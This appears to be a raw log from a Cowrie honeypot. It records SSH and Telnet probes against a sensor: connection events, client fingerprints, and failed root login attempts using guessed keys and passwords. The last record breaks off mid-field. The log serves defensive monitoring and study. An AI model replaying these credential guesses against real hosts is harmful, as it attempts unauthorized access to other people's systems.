{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:3f:cf:fc:9d:cd:99:c5:4b:87:c0:65:70:09:3f:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/tX2fQuYG5WVTY3nLkbDqU68IAeWWikk4e60m2595JCZEZLNEaQZuuf88DvpvII2gHvSOpEGA8xAQQLjeLfvLvgj1ogWIouxdQNmt70A7neDfWr3z8NHeg0GHYJM76jQkpaT0lOsqhZ4wLCMEH2yJNKjHO1De/wlLvSzSjZKFjXKhJN68e0LM/D1roqNBxxLwo5Qh7/yEkf+OqLaxwNDJIpsMIO9Q7qBI9RsRxj255QZdjlUVeZoJrIc7zzk1radcJSlA6V12fUMHkSXl7CY2anTYIEVTx9u3UqggWoqvwr97aw7Gda1P7pqX2Mqfe2tshmNZZPMytqnS8h3x03yJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:3f:cf:fc:9d:cd:99:c5:4b:87:c0:65:70:09:3f:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:06.592706Z","src_ip":"45.148.147.191","session":"c9408daac3b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:3f:cf:fc:9d:cd:99:c5:4b:87:c0:65:70:09:3f:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/tX2fQuYG5WVTY3nLkbDqU68IAeWWikk4e60m2595JCZEZLNEaQZuuf88DvpvII2gHvSOpEGA8xAQQLjeLfvLvgj1ogWIouxdQNmt70A7neDfWr3z8NHeg0GHYJM76jQkpaT0lOsqhZ4wLCMEH2yJNKjHO1De/wlLvSzSjZKFjXKhJN68e0LM/D1roqNBxxLwo5Qh7/yEkf+OqLaxwNDJIpsMIO9Q7qBI9RsRxj255QZdjlUVeZoJrIc7zzk1radcJSlA6V12fUMHkSXl7CY2anTYIEVTx9u3UqggWoqvwr97aw7Gda1P7pqX2Mqfe2tshmNZZPMytqnS8h3x03yJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:06.596946Z","src_ip":"45.148.147.191","session":"c9408daac3b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:13:45:6f:63:1c:5d:cb:63:e3:2b:49:06:0a:09:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5tISYSSA1qjOvvN2jPCF7KqXHTWMjUR9Bu5qr5LrbT9ZtkHn45yEmWcHQPwnW7035WeuuVZwqVus9Bla9m1t9hwiNzDh6uuhg8+gxA/3dL+DaWZ6aGl9MECAtQmZ9uht00Im8JO6vahW8CpamBRm3U/569IKUZ6JQeV+QA2blKoc1NBC3ZShygDNVS+B3Mq+fLgBKPs2xPAjWKpn72AKpx8AD2FJyLjOp1oo/0lAT5PAry9BaA5z1yV7nimWQWKwzodRY3H4/Gu+8r8inTUxVypiOcKcVTdpbh8agvfNtpfmr2L/iG9+/x+oxWZiVxJ/5a1kEjXs3Kevor1ZI5A9OjhTCZq29vQaHhsL3caCl2pw5kEKS10zFvaIkyv/ansl8phXAQnS/plbxWOZRjO6Ir9zJDzZUFT11pRssc1FmqSu3grWN78yauHiRwQE2PGA7qETa36TRVpEF9bsaeF3n3sYSxKVHGAOaZoJv1J/c1d1HXkzUnnDNMzAfNgiZr9xaTfpVryubIGRiS+5hnoDvlL/2lwLxtptOe0QMh24/QesxSEK6QG0LxBptAYPD6eVidUyLOuwcdaBI338p4QH+J8UJmL73ON/MAbGfqKU5ypzAJkGfsYeaVtS/UZ01h/qyYNAdxTNm2GKZqbgaQaG65NIh77oJC0hlftGuoX47BQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:13:45:6f:63:1c:5d:cb:63:e3:2b:49:06:0a:09:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:06.689068Z","src_ip":"45.148.147.191","session":"c9408daac3b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:13:45:6f:63:1c:5d:cb:63:e3:2b:49:06:0a:09:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5tISYSSA1qjOvvN2jPCF7KqXHTWMjUR9Bu5qr5LrbT9ZtkHn45yEmWcHQPwnW7035WeuuVZwqVus9Bla9m1t9hwiNzDh6uuhg8+gxA/3dL+DaWZ6aGl9MECAtQmZ9uht00Im8JO6vahW8CpamBRm3U/569IKUZ6JQeV+QA2blKoc1NBC3ZShygDNVS+B3Mq+fLgBKPs2xPAjWKpn72AKpx8AD2FJyLjOp1oo/0lAT5PAry9BaA5z1yV7nimWQWKwzodRY3H4/Gu+8r8inTUxVypiOcKcVTdpbh8agvfNtpfmr2L/iG9+/x+oxWZiVxJ/5a1kEjXs3Kevor1ZI5A9OjhTCZq29vQaHhsL3caCl2pw5kEKS10zFvaIkyv/ansl8phXAQnS/plbxWOZRjO6Ir9zJDzZUFT11pRssc1FmqSu3grWN78yauHiRwQE2PGA7qETa36TRVpEF9bsaeF3n3sYSxKVHGAOaZoJv1J/c1d1HXkzUnnDNMzAfNgiZr9xaTfpVryubIGRiS+5hnoDvlL/2lwLxtptOe0QMh24/QesxSEK6QG0LxBptAYPD6eVidUyLOuwcdaBI338p4QH+J8UJmL73ON/MAbGfqKU5ypzAJkGfsYeaVtS/UZ01h/qyYNAdxTNm2GKZqbgaQaG65NIh77oJC0hlftGuoX47BQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:06.693307Z","src_ip":"45.148.147.191","session":"c9408daac3b4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:17:e1:02:ab:9e:7c:e2:5b:6a:50:50:a9:76:78:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaEOay8IPtnECyxkx/TGSiksY9zrV7qBHjMAxdCciGp3zcvBxoDnTBPRqG7WEloZBDPLLA7r99pskFB+bhrTHBI5mJAS4Z/YhIwienor/Y9V7fvLvbI7Ewf++K+Q9uDjFGcTqFL2d2un8I5pYMmvY68rrwFuI9Z2RrSpEhLERM8kEe1v0GXW+/6JCUwPSv66yHv2EzVQdv1Hx5e8S9U0DKJMvHL6w2ggfPvDYVdjvzz5E1zAjGrAoOXfRCOZSBN6uVrpCquvbHJAR5nuWBqGSn75epNo+KRRTcb60+e1IpMkonoOz/aEXt+Ba5gCLqbQPzO0JECSGKu/lDbu2Vma8D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:17:e1:02:ab:9e:7c:e2:5b:6a:50:50:a9:76:78:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:06.846518Z","src_ip":"45.148.147.191","session":"c9408daac3b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:17:e1:02:ab:9e:7c:e2:5b:6a:50:50:a9:76:78:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaEOay8IPtnECyxkx/TGSiksY9zrV7qBHjMAxdCciGp3zcvBxoDnTBPRqG7WEloZBDPLLA7r99pskFB+bhrTHBI5mJAS4Z/YhIwienor/Y9V7fvLvbI7Ewf++K+Q9uDjFGcTqFL2d2un8I5pYMmvY68rrwFuI9Z2RrSpEhLERM8kEe1v0GXW+/6JCUwPSv66yHv2EzVQdv1Hx5e8S9U0DKJMvHL6w2ggfPvDYVdjvzz5E1zAjGrAoOXfRCOZSBN6uVrpCquvbHJAR5nuWBqGSn75epNo+KRRTcb60+e1IpMkonoOz/aEXt+Ba5gCLqbQPzO0JECSGKu/lDbu2Vma8D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:06.851151Z","src_ip":"45.148.147.191","session":"c9408daac3b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:06.943610Z","src_ip":"45.148.147.191","session":"c9408daac3b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54266,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e4c70201ea5","protocol":"telnet","message":"New connection: 50.6.8.71:54266 (10.17.0.5:23) [session: 8e4c70201ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:08.278755Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38362,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e4372fd66f1","protocol":"telnet","message":"New connection: 50.6.8.71:38362 (10.17.0.5:23) [session: 4e4372fd66f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:21.078277Z"}
{"eventid":"cowrie.session.closed","duration":31.61939239501953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:26.025572Z","src_ip":"50.6.8.71","session":"28d670fc19bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.05472779273987,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:32.900570Z","src_ip":"50.6.8.71","session":"5cade3e57b1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.174652099609375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:39.453287Z","src_ip":"50.6.8.71","session":"8e4c70201ea5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53050,"dst_ip":"10.17.0.5","dst_port":23,"session":"609e99648b95","protocol":"telnet","message":"New connection: 50.6.8.71:53050 (10.17.0.5:23) [session: 609e99648b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:46.563679Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38188,"dst_ip":"10.17.0.5","dst_port":23,"session":"42498a6a9274","protocol":"telnet","message":"New connection: 50.6.8.71:38188 (10.17.0.5:23) [session: 42498a6a9274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:51.272046Z"}
{"eventid":"cowrie.session.closed","duration":32.80349040031433,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:53.881674Z","src_ip":"50.6.8.71","session":"4e4372fd66f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35562,"dst_ip":"10.17.0.5","dst_port":23,"session":"91b9c54b3a33","protocol":"telnet","message":"New connection: 50.6.8.71:35562 (10.17.0.5:23) [session: 91b9c54b3a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:51:59.682810Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":45568,"dst_ip":"159.203.135.109","dst_port":22,"session":"14a76e269a04","protocol":"ssh","message":"New connection: 147.45.197.250:45568 (159.203.135.109:22) [session: 14a76e269a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:04.110369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:04.115258Z","src_ip":"147.45.197.250","session":"14a76e269a04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:04.204732Z","src_ip":"147.45.197.250","session":"14a76e269a04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gimnazist","message":"login attempt [root/gimnazist] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:04.477064Z","src_ip":"147.45.197.250","session":"14a76e269a04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:05.569908Z","src_ip":"147.45.197.250","session":"14a76e269a04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.315085649490356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:17.878672Z","src_ip":"50.6.8.71","session":"609e99648b95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34320,"dst_ip":"10.17.0.5","dst_port":23,"session":"361e487af44a","protocol":"telnet","message":"New connection: 50.6.8.71:34320 (10.17.0.5:23) [session: 361e487af44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:22.642196Z"}
{"eventid":"cowrie.session.closed","duration":33.14719080924988,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:24.419103Z","src_ip":"50.6.8.71","session":"42498a6a9274","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.95775318145752,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:34.640435Z","src_ip":"50.6.8.71","session":"91b9c54b3a33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":48314,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bb3fb24ef2e","protocol":"ssh","message":"New connection: 87.251.79.125:48314 (10.17.0.5:22) [session: 9bb3fb24ef2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:48.104004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:48.107040Z","src_ip":"87.251.79.125","session":"9bb3fb24ef2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:48.177727Z","src_ip":"87.251.79.125","session":"9bb3fb24ef2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:48.390527Z","src_ip":"87.251.79.125","session":"9bb3fb24ef2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:49.464553Z","src_ip":"87.251.79.125","session":"9bb3fb24ef2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36592,"dst_ip":"10.17.0.5","dst_port":23,"session":"0261dc7bf860","protocol":"telnet","message":"New connection: 50.6.8.71:36592 (10.17.0.5:23) [session: 0261dc7bf860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:52:51.494840Z"}
{"eventid":"cowrie.session.closed","duration":44.975363969802856,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:07.617434Z","src_ip":"50.6.8.71","session":"361e487af44a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52618,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdbd781aa6a7","protocol":"telnet","message":"New connection: 50.6.8.71:52618 (10.17.0.5:23) [session: cdbd781aa6a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:10.019775Z"}
{"eventid":"cowrie.session.closed","duration":30.736461877822876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:22.231186Z","src_ip":"50.6.8.71","session":"0261dc7bf860","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35524,"dst_ip":"10.17.0.5","dst_port":23,"session":"74fba1a698f9","protocol":"telnet","message":"New connection: 50.6.8.71:35524 (10.17.0.5:23) [session: 74fba1a698f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:31.190143Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35540,"dst_ip":"10.17.0.5","dst_port":23,"session":"992583fdd203","protocol":"telnet","message":"New connection: 50.6.8.71:35540 (10.17.0.5:23) [session: 992583fdd203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:32.367661Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35544,"dst_ip":"10.17.0.5","dst_port":23,"session":"289107c86a81","protocol":"telnet","message":"New connection: 50.6.8.71:35544 (10.17.0.5:23) [session: 289107c86a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:34.053914Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":33748,"dst_ip":"159.203.135.109","dst_port":22,"session":"59036b17c97a","protocol":"ssh","message":"New connection: 80.94.92.184:33748 (159.203.135.109:22) [session: 59036b17c97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:34.916080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:35.010292Z","src_ip":"80.94.92.184","session":"59036b17c97a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:35.282937Z","src_ip":"80.94.92.184","session":"59036b17c97a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.215","src_port":45168,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3ddcfc92ae4","protocol":"ssh","message":"New connection: 176.65.132.215:45168 (10.17.0.5:22) [session: c3ddcfc92ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:35.807699Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:35.822009Z","src_ip":"176.65.132.215","session":"c3ddcfc92ae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.215","src_port":45178,"dst_ip":"10.17.0.5","dst_port":22,"session":"28365fd46edc","protocol":"ssh","message":"New connection: 176.65.132.215:45178 (10.17.0.5:22) [session: 28365fd46edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:35.971903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:35.977485Z","src_ip":"176.65.132.215","session":"28365fd46edc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 